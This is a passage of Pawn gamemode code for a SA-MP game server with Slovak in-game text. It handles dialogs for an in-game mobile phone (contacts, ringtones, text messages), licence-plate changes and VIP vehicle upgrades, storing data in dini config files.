                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY_x, C_number));

                    if(dini_Int(pWAY_x, C_use) == 1) format(N94[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY_x, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_AQQ, sizeof(nText2_AQQ), "%s%s\n", nText2_AQQ, N94[i]);
                }
                strcat(nText2_AQQ, "{ffff00}New");

                new mText1_vRA[128];
                format(mText1_vRA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY_x, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vRA,nText2_AQQ,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_C3)
        {
            new bool:ShowPlayerLastDialog=false;

            if(response == 1)
            {
                new PlayerMWAY[64];
                format(PlayerMWAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new Cntct_way[64];
                format(Cntct_way,64, "SL/Server/MobilNumbers/%d.cfg", strval(inputtext));

                new bool:iscontactuse=false;

                for(new c=0; c<dini_Int(PlayerMWAY, "Contacts"); c++)
                {
                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(strval(inputtext) == dini_Int(PlayerMWAY, C_number)) iscontactuse=true;
                }

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Nezadal si číslo !\nZadaj číslo kontaktu:","OK","Back");
                else if(strlen(inputtext) != 9) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Neplatné číslo !\nZadaj číslo kontaktu:","OK","Back");
                else if(!dini_Exists(Cntct_way)) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Zadané číslo neexistuje !\nZadaj číslo kontaktu:","OK","Back");
                else if(iscontactuse == true) return ShowPlayerDialog(playerid,Dialog_Mobil_C3,DIALOG_STYLE_INPUT,"{ffff00}Nový kontakt","{ff0000}Toto číslo už máš v adresári !\nZadaj číslo kontaktu:","OK","Back");
                else
                {
                    new nC_number[16];
                    new nC_use[16];

                    new newcntcts = dini_Int(PlayerMWAY, "Contacts");

                    format(nC_number,16, "C%d_number", newcntcts);
                    format(nC_use,16, "C%d_use", newcntcts);

                    dini_IntSet(PlayerMWAY, nC_number, strval(inputtext));
                    dini_IntSet(PlayerMWAY, nC_use, 1);

                    newcntcts++;
                    dini_IntSet(PlayerMWAY, "Contacts", newcntcts);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Kontakt bol uspesne ulozeny !", 2500);

                    ShowPlayerLastDialog=true;
                }
            }

              if(response == 0 || ShowPlayerLastDialog == true)
            {
                new nText2_AAL[1000],
                    N95[30][25],
                    pWAY_f4[64]
                ;

                format(pWAY_f4,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                for(new c=0; c<30; c++)
                {
                    new C_use[16];
                    format(C_use,16, "C%d_use", c);

                    new C_number[16];
                    format(C_number,16, "C%d_number", c);

                    if(dini_Int(pWAY_f4, C_use) == 0) N95[c]=" ";

                    new GTqWe[64];
                    format(GTqWe,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(pWAY_f4, C_number));

                    if(dini_Int(pWAY_f4, C_use) == 1) format(N95[c],25, "%s", dini_Get(GTqWe, "Majitel"));
                }

                new contacts = dini_Int(pWAY_f4, "Contacts");
                if(contacts > 30) contacts = 30;
                for(new i=0; i<contacts; i++)
                {
                    format(nText2_AAL, sizeof(nText2_AAL), "%s%s\n", nText2_AAL, N95[i]);
                }
                strcat(nText2_AAL, "{ffff00}New");

                new mText1_vRA[128];
                format(mText1_vRA,128,"{ffff00}Adresár (%d/30)", dini_Int(pWAY_f4, "Contacts"));

                ShowPlayerDialog(playerid,Dialog_Mobil_C1,DIALOG_STYLE_LIST,mText1_vRA,nText2_AAL,"OK","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_RT)
        {
            if(response == 1)
            {
                new mobil_way_RTQ[64];
                format(mobil_way_RTQ,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new musicid = NO_SOUND;

                if(listitem == 1) musicid = 1083;
                if(listitem == 2) musicid = 1097;
                if(listitem == 3) musicid = 1185;
                if(listitem == 4) musicid = 1183;
                if(listitem == 5) musicid = 1187;
                if(listitem == 6) musicid = 1062;
                if(listitem == 7) musicid = 1076;

                if(listitem > 0)
                {
                    if(Mobil[playerid][PlayingRingtone] == true)
                    {
                        PlayerPlaySound(playerid, NO_SOUND, 0,0,0);
                        Mobil[playerid][PlayingRingtone]=false;
                        KillTimer(Mobil[playerid][RingtoneTimer]);
                    }

                    if(Mobil[playerid][PlayingRingtone] == false)
                    {
                        PlayerPlaySound(playerid, musicid, 0,0,0);
                        Mobil[playerid][PlayingRingtone]=true;
                        Mobil[playerid][RingtoneTimer] = SetTimerEx("StopRingtone",5000,0,"i",playerid);
                    }
                }

                dini_IntSet(mobil_way_RTQ, "Ringtone", listitem);

                if(listitem == 0) FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Tvoj vyzvanaci ton bol uspesne nastaveny !", 3000);

                if(musicid != NO_SOUND) ShowPlayerDialog(playerid,Dialog_Mobil_RTL,DIALOG_STYLE_LIST,"{ffff00}Vyzvanáci tón - Dlžka vyzvaňania","3 sek\n5 sek\n7 sek\n10 sek\n15 sek\n20 sek","OK","Back");
            }

              if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_RTL)
        {
            if(response == 1)
            {
                new mobil_way_PRW[64];
                format(mobil_way_PRW,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                if(listitem == 0) dini_IntSet(mobil_way_PRW, "RT_Lenght", 3);
                if(listitem == 1) dini_IntSet(mobil_way_PRW, "RT_Lenght", 5);
                if(listitem == 2) dini_IntSet(mobil_way_PRW, "RT_Lenght", 7);
                if(listitem == 3) dini_IntSet(mobil_way_PRW, "RT_Lenght", 10);
                if(listitem == 4) dini_IntSet(mobil_way_PRW, "RT_Lenght", 15);
                if(listitem == 5) dini_IntSet(mobil_way_PRW, "RT_Lenght", 20);

                FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Tvoj vyzvanaci ton bol uspesne nastaveny !", 3000);
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_RT,DIALOG_STYLE_LIST,"{ffff00}Vyzvaňáci tón","Žiadny\nRingtone 1 (standard)\nRingtone 2\nRingtone 3\nRingtone 4\nRingtone 5\nRingtone 6\nRingtone 7","Zvolit","Back");
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_PZ1)
        {
            new pxd_way[64];
            format(pxd_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

            if(response == 1)
            {
                if(dini_Int(pxd_way, "Messages") > 0)
                {
                    Mobil[playerid][PZ_MessageNumber] = listitem;

                    //------------------------------------------------------------------------------------------------------------------

                    new msgway[64];
                    format(msgway,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    new MSG_text[16],
                        MSG_from[16],
                        MSG_read[16];

                    format(MSG_text,16, "MSG%d_text", Mobil[playerid][PZ_MessageNumber]);
                    format(MSG_from,16, "MSG%d_from", Mobil[playerid][PZ_MessageNumber]);
                    format(MSG_read,16, "MSG%d_read", Mobil[playerid][PZ_MessageNumber]);

                    new messagetext[200];
                    format(messagetext,200, "%s", dini_Get(msgway, MSG_text));
                    
                    StlipString(messagetext, 50);

                    new FromPlayerWay[50];
                    format(FromPlayerWay,50, "SL/Server/MobilNumbers/%d.cfg", dini_Int(msgway, MSG_from));

                    new FromPlayerName[21];
                    format(FromPlayerName,21, "%s", dini_Get(FromPlayerWay, "Majitel"));

                    new string2[275];
                    if(dini_Int(msgway, MSG_read)==0) format(string2,275,"{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), messagetext);
                    else format(string2,275,"{ffff00}Nová zpráva !\n\n{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), messagetext);

                    //------------------------------------------------------------------------------------------------------------------

                    ShowPlayerDialog(playerid, Dialog_Mobil_PZ2, DIALOG_STYLE_MSGBOX, "{ffff00}Prijaté zprávy", string2, "Možnosti", "Back");

                    dini_IntSet(msgway, MSG_read, 0);

                    Mobil[playerid][Save_MobilNumber] = dini_Int(msgway, MSG_from);
                }
            }

            if((response == 0) || (dini_Int(pxd_way, "Messages") <= 0))
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_MessageOptions)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    new string_NM2_3[256], TargetPlayerWay_3[64], TargetPlayerName_3[32];

                    format(TargetPlayerWay_3,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName_3,32, "%s", dini_Get(TargetPlayerWay_3, "Majitel"));
                    format(string_NM2_3,256, "{c5c5c5}Pre: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_3);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_3,"OK","Back");
                }

                if(listitem == 1)
                {
                    new from = Mobil[playerid][PZ_MessageNumber];

                    new mx5_way[64];
                    format(mx5_way,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                    for(new x=from; x<dini_Int(mx5_way, "Messages"); x++)
                    {
                        new MSG_text_A[16], MSG_text_B[16], MSG_from_A[16], MSG_from_B[16], MSG_read_A[16], MSG_read_B[16];

                        new xx = x+1;

                        format(MSG_text_A,16,"MSG%d_text", x);
                        format(MSG_text_B,16,"MSG%d_text", xx);

                        format(MSG_from_A,16 ,"MSG%d_from", x);
                        format(MSG_from_B,16 ,"MSG%d_from", xx);

                        format(MSG_read_A,16 ,"MSG%d_read", x);
                        format(MSG_read_B,16 ,"MSG%d_read", xx);

                        dini_Set   (mx5_way, MSG_text_A, dini_Get(mx5_way, MSG_text_B));
                        dini_IntSet(mx5_way, MSG_from_A, dini_Int(mx5_way, MSG_from_B));
                        dini_IntSet(mx5_way, MSG_read_A, dini_Int(mx5_way, MSG_read_B));
                    }

                    new newmsgs = dini_Int(mx5_way, "Messages");
                    newmsgs--;

                    dini_IntSet(mx5_way, "Messages", newmsgs);

                    FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Zprava bola uspesne zmazana !", 2000);
                }
            }

            if(response == 0)
            {
                new msgway[64];
                format(msgway,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                new MSG_text[16],
                    MSG_from[16],
                    MSG_read[16];

                format(MSG_text,16, "MSG%d_text", Mobil[playerid][PZ_MessageNumber]);
                format(MSG_from,16, "MSG%d_from", Mobil[playerid][PZ_MessageNumber]);
                format(MSG_read,16, "MSG%d_read", Mobil[playerid][PZ_MessageNumber]);

                new messagetext[256];
                format(messagetext,256, "%s", dini_Get(msgway, MSG_text));

                new line0[51],
                    line1[51],
                    line2[51]
                ;
                                             format(line0, 51, "%s", messagetext);
                if(strlen(messagetext)>=50)  format(line1, 51, "%s", messagetext[50]);
                if(strlen(messagetext)>=100) format(line2, 51, "%s", messagetext[100]);

                new string[256];

                     if(strlen(messagetext) >= 100) format(string,256,"%s\n%s\n%s", line0, line1, line2);
                else if(strlen(messagetext) >= 50)  format(string,256,"%s\n%s", line0, line1);
                else if(strlen(messagetext) < 50)   format(string,256,"%s", line0);

                new FromPlayerWay[64];
                format(FromPlayerWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(msgway, MSG_from));

                new FromPlayerName[21];
                format(FromPlayerName,21, "%s", dini_Get(FromPlayerWay, "Majitel"));

                new string2[256];
                     if(dini_Int(msgway, MSG_read)==0) format(string2,256,"{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), string);
                else if(dini_Int(msgway, MSG_read)==1) format(string2,256,"{ffff00}Nová zpráva !\n\n{c5c5c5}Od: {ff0000}%s <%d>\n\n{00aa00}%s", FromPlayerName, dini_Int(msgway, MSG_from), string);

                ShowPlayerDialog(playerid,Dialog_Mobil_PZ2,DIALOG_STYLE_MSGBOX,"{ffff00}Prijaté zprávy", string2, "Možnosti", "Back");

                dini_IntSet(msgway, MSG_read, 0);

                Mobil[playerid][Save_MobilNumber] = dini_Int(msgway, MSG_from);
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_PZ2)
        {
            if(response == 1)
            {
                ShowPlayerDialog(playerid, Dialog_Mobil_MessageOptions, DIALOG_STYLE_LIST, "Možnosti správy", "Odpovedať\nVymazať", "OK", "Back");
            }

            if(response == 0)
            {
                new m_way_f001[64];
                format(m_way_f001,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

                 new MSGTxt[25][55];

                 new msgs = dini_Int(m_way_f001, "Messages");

                for(new m=0; m<msgs; m++)
                {
                    new MSGWay[64];
                    new messagetext[20];

                    new MSG_from[16];
                    format(MSG_from,16, "MSG%d_from", m);

                    if(dini_Int(m_way, MSG_from) != 0) format(MSGWay,64, "SL/Server/MobilNumbers/%d.cfg", dini_Int(m_way_f001, MSG_from));

                    new MSG_read[16];
                    format(MSG_read,16, "MSG%d_read", m);

                    new MSG_text[16];
                    format(MSG_text,16, "MSG%d_text", m);

                    format(messagetext, 20, "%s", dini_Get(m_way_f001, MSG_text));

                    if(strlen(dini_Get(m_way_f001, MSG_text)) >= 19)
                    {
                        if(dini_Int(m_way, MSG_read) == 1) format(MSGTxt[m], 80, "{ff0000}* New: %s: %s...", dini_Get(MSGWay, "Majitel"), messagetext);
                        else format(MSGTxt[m], 55, "%s: {ffff70}%s...", dini_Get(MSGWay, "Majitel"), messagetext);
                    }
                    else
                    {
                        if(dini_Int(m_way, MSG_read) == 1) format(MSGTxt[m], 80, "{ff0000}* New: %s: %s", dini_Get(MSGWay, "Majitel"), messagetext);
                        else format(MSGTxt[m], 55, "%s: {ffff70}%s", dini_Get(MSGWay, "Majitel"), messagetext);
                    }
                }

                new mText1[128];
                format(mText1,128,"{ffff00}Prijaté zprávy (%d/25)", dini_Int(m_way, "Messages"));

                if(msgs<=0) return ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,"{ff0000}Nemáš žiadne zprávy !","Back","");

                for(new i=0; i<msgs; i++)
                {
                    format(gBIGSTRING, sizeof(gBIGSTRING), "%s%s\n", gBIGSTRING, MSGTxt[i]);
                }

                ShowPlayerDialog(playerid,Dialog_Mobil_PZ1,DIALOG_STYLE_LIST,mText1,gBIGSTRING,"Prečitať","Back");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM1)
        {
            if(response == 1)
            {
                new m8_way[64];
                format(m8_way,64,"SL/Server/MobilNumbers/%d.cfg", strval(inputtext));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Nezadal si číslo !\nZadaj číslo príjemcu","OK","Back");
                else if(strlen(inputtext) != 6) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Neplatné číslo !\nZadaj číslo príjemcu","OK","Back");
                else if(!dini_Exists(m8_way)) return ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","{ff0000}Zadané číslo neexistuje !\nZadaj číslo príjemcu","OK","Back");
                else
                {
                    Mobil[playerid][Save_MobilNumber] = strval(inputtext);

                    new string_NM2[256], TargetPlayerWay[64], TargetPlayerName[32];

                    format(TargetPlayerWay,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                    format(TargetPlayerName,32, "%s", dini_Get(TargetPlayerWay, "Majitel"));
                    format(string_NM2,256, "{c5c5c5}Pre: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2,"OK","Back");
                }
            }

            if(response == 0)
            {
                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);

                format(gBIGSTRING,sizeof(gBIGSTRING),"{ffff00}Mobil - {ffff70}%d", dini_Int(way, "MobilNumber"));
                ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");
            }
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM2)
        {
            if(response == 1)
            {
                new string_NM2_2[256], TargetPlayerWay_2[64], TargetPlayerName_2[32];

                format(TargetPlayerWay_2,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);
                format(TargetPlayerName_2,32, "%s", dini_Get(TargetPlayerWay_2, "Majitel"));

                if(!strlen(inputtext))
                {
                    format(string_NM2_2,256, "{ff0000}Nezadal si text !\n\n{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_2);
                    return ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_2,"OK","Back");
                }
                else if(strlen(inputtext) > 150)
                {
                    format(string_NM2_2,256, "{ff0000}Maximálne 150 znakok !\n\n{c5c5c5}Pro: {ffff00}%s\n{c5c5c5}Zadaj text zprávy:", TargetPlayerName_2);
                    return ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva",string_NM2_2,"OK","Back");
                }
                else
                {
                    new line0[51],
                        line1[51],
                        line2[51]
                    ;
                                               format(line0, 51, "%s", inputtext);
                    if(strlen(inputtext)>=50)  format(line1, 51, "%s", inputtext[50]);
                    if(strlen(inputtext)>=100) format(line2, 51, "%s", inputtext[100]);

                    new string[256];

                         if(strlen(inputtext) >= 100) format(string,256,"%s\n%s\n%s", line0, line1, line2);
                    else if(strlen(inputtext) >= 50)  format(string,256,"%s\n%s", line0, line1);
                    else if(strlen(inputtext) < 50)   format(string,256,"%s", line0);

                    new f00A[256];
                    format(f00A, 256, "%s", inputtext);
                    Mobil[playerid][Save_Text] = f00A;

                    new toway[64];
                    format(toway,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);

                    new string2[256];
                    format(string2,256,"{ffff00}Tvar zprávy:\n\n{c5c5c5}Pro: {ffff70}%s <%d>\n\n{c5c5c5}%s", dini_Get(toway,"Majitel"), Mobil[playerid][Save_MobilNumber], string);

                    ShowPlayerDialog(playerid,Dialog_Mobil_NM3,DIALOG_STYLE_MSGBOX,"{ffff00}Nová zpráva",string2,"Poslat","Back");
                }
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM1,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj číslo príjemcu","OK","Back");
        }

        //--------------------------------------------------------------------------

        if(dialogid == Dialog_Mobil_NM3)
        {
            if(response == 1)
            {
                new m9_way[64];
                format(m9_way,64,"SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][Save_MobilNumber]);

                for(new x=10; x>=1; x--)
                {
                    new xo1[16], xo2[16], xo3[16], xn1[16], xn2[16], xn3[16];

                    new xx = (x-1);

                    format(xo1,16,"MSG%d_text", x);
                    format(xn1,16,"MSG%d_text", xx);

                    format(xo2,16 ,"MSG%d_from", x);
                    format(xn2,16 ,"MSG%d_from", xx);

                    format(xo3,16 ,"MSG%d_read", x);
                    format(xn3,16 ,"MSG%d_read", xx);

                    dini_Set   (m9_way, xo1, dini_Get(m9_way, xn1));
                    dini_IntSet(m9_way, xo2, dini_Int(m9_way, xn2));
                    dini_IntSet(m9_way, xo3, dini_Int(m9_way, xn3));
                }

                dini_Set   (m9_way, "MSG0_text", Mobil[playerid][Save_Text]);
                dini_IntSet(m9_way, "MSG0_from", Mobil[playerid][MobilNumber]);
                dini_IntSet(m9_way, "MSG0_read", 1);

                if(dini_Int(m9_way,"Messages")<11) dini_IntSet(m9_way, "Messages", (dini_Int(m9_way,"Messages")+1));

                FormatPlayerInfoBox(playerid, "~g~Mobil", "~w~Zprava bola uspesne odoslana !", 3000);

                new way[32],
                    Name[24]
                ;
                GetPlayerName(playerid,Name,24);

                format(way,32,"SL/%s.cfg", Name);
                format(gBIGSTRING,sizeof(gBIGSTRING),"{ff0000}Mobil - {ffff00}%d", dini_Int(way, "MobilNumber"));

                ShowPlayerDialog(playerid, Dialog_Mobil_menu, DIALOG_STYLE_LIST, gBIGSTRING, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzvaňáci tón", "OK", "Exit");

                //-------------------

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][Logged] == true)
                            {
                                if(Mobil[i][MobilNumber] == Mobil[playerid][Save_MobilNumber])
                                {
                                    if(Mobil[i][PlayingRingtone] == false)
                                    {
                                        new iM_WAY[64];
                                        format(iM_WAY,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[i][MobilNumber]);

                                        if(dini_Int(iM_WAY, "Ringtone") > 0)
                                        {
                                            if(dini_Int(iM_WAY, "Ringtone") == 1) PlayerPlaySound(i, 1083, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 2) PlayerPlaySound(i, 1097, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 3) PlayerPlaySound(i, 1185, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 4) PlayerPlaySound(i, 1183, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 5) PlayerPlaySound(i, 1187, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 6) PlayerPlaySound(i, 1062, 0,0,0);
                                            if(dini_Int(iM_WAY, "Ringtone") == 7) PlayerPlaySound(i, 1076, 0,0,0);

                                            Mobil[i][PlayingRingtone]=true;
                                            Mobil[i][RingtoneTimer] = SetTimerEx("StopRingtone", (dini_Int(iM_WAY, "RT_Lenght")*1000), 0, "i", i);

                                            ///////////////////////////////

                                            new mobil_way_D01W[64];
                                            format(mobil_way_D01W,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[i][MobilNumber]);

                                            new messages=0;

                                            for(new m=0; m<11; m++)
                                            {
                                                new MSG_read[16];
                                                format(MSG_read,16, "MSG%d_read", m);
                                                if(dini_Int(mobil_way_D01W, MSG_read) == 1) messages++;
                                            }

                                            if(messages > 0)
                                            {
                                                new mobil_msg_String[128];

                                                     if(messages >= 5) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ novych zprav !", messages);
                                                else if(messages >  1) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ nove zpravy !", messages);
                                                else if(messages == 1) format(mobil_msg_String,128,"~w~Mas ~y~1~w~ novu zpravu !");

                                                FormatPlayerInfoBox(i, "~g~Mobil", mobil_msg_String, 3500);
                                            }
                                        }
                                        break;
                                    }
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) ShowPlayerDialog(playerid,Dialog_Mobil_NM2,DIALOG_STYLE_INPUT,"{ffff00}Nová zpráva","Zadaj text zprávy:","OK","Back");
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_ChangeSPZ)
        {
            if(response == 1)
            {
                if(IsPlayerInAnyVehicle(playerid))
                {
                    if(!strlen(inputtext)) ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Nezadal si text !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else if(strlen(inputtext)>9) ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Maximálne 9 znako !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<10000) return ShowPlayerDialog(playerid,Dialog_ChangeSPZ,DIALOG_STYLE_INPUT,"Zmena ŠPZ-ky","{ff0000}Nemáš 10 000$ !\n{ffffff}Zadaj novu ŠPZ-ku:\nCena: 10 000$","OK","Cancel");
                    else
                    {
                        new vehicleid = GetPlayerVehicleID(playerid);

                        new string[128];
                        format(string,128,"Tvoja nová ŠPZ-ka je: {ff0000}%s",inputtext);
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",string,"OK","Cancel");

                        SetVehicleNumberPlate(vehicleid,inputtext);

                        new Float:vx, Float:vy, Float:vz, Float:va;
                        GetVehiclePos(vehicleid, vx, vy, vz);
                        GetVehicleZAngle(vehicleid, va);
                        SetVehicleToRespawn(vehicleid);
                        SetVehiclePos(vehicleid, vx, vy, vz);
                        SetVehicleZAngle(vehicleid, va);
                        PutPlayerInVehicle(playerid, vehicleid, 0);

                        GivePlayerACMoney(playerid,-10000);

                        if(Player[playerid][HouseP]!=9999)
                        {
                            for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                            {
                                if(Car_State[s][Player[playerid][HouseP]] == true)
                                {
                                    if(GetPlayerVehicleID(playerid) == Car[s][Player[playerid][HouseP]])
                                    {
                                        new way2[32];
                                        format(way2,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);
                                        new v_spz[16];
                                        format(v_spz, 16, "V%d_spz", s);
                                        dini_Set(way2, v_spz, inputtext);

                                        return 0;
                                    }
                                }
                            }
                        }
                        
                        if(Player[playerid][ClanP]!=9999)
                        {
                            for(new s=0; s<5; s++)
                            {
                                if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                {
                                    if(GetPlayerVehicleID(playerid) == ClanVehicle[s][Player[playerid][ClanP]])
                                    {
                                        new way3[64];
                                        format(way3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);
                                        new v_spz[16];
                                        format(v_spz, 16, "V%d_spz", s);
                                        dini_Set(way3, v_spz, inputtext);

                                        return 0;
                                    }
                                }
                            }
                        }
                        
                        for(new s=0; s<5; s++)
                        {
                            if(PlayerVehicle_State[s][playerid] == true)
                            {
                                if(GetPlayerVehicleID(playerid) == PlayerVehicle[s][playerid])
                                {
                                    new way4[32], Name[24];
                                    GetPlayerName(playerid, Name, 24);
                                    format(way4,32,"SL/%s.cfg", Name);
                                    new v_spz[16];
                                    format(v_spz, 16, "V%d_spz", s);
                                    dini_Set(way4, v_spz, inputtext);

                                    return 0;
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2500,0,"i",playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_VIP_Car)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_VIP_Cmenu,DIALOG_STYLE_LIST,"VIP Colors","Black\nWhite\nRed\nBlue\nGreen\nYellow\nSilver\nPink\nSpecial","OK","Cancel");
                if(listitem == 1)
                {
                    if(IsPlayerInAnyVehicle(playerid))
                    {
                        SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Pridal si si do auta Nitro !");
                             if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                        else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
                        AddVehicleComponent(GetPlayerVehicleID(playerid), 1010);
                    }
                }
                if(listitem == 2)
                {
                    if(IsPlayerInAnyVehicle(playerid))
                    {
                        SendClientMessage(playerid,COLOR_GOLD,"[  VIP  ] Pridal si si do auta Hydrauliku !");
                             if(Player[playerid][VIP]==2) VIP_Block[playerid][vcar]=60;
                        else if(Player[playerid][VIP]==3) VIP_Block[playerid][vcar]=30;
                        AddVehicleComponent(GetPlayerVehicleID(playerid), 1087);
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_VIP_Pay_skcz)
        {
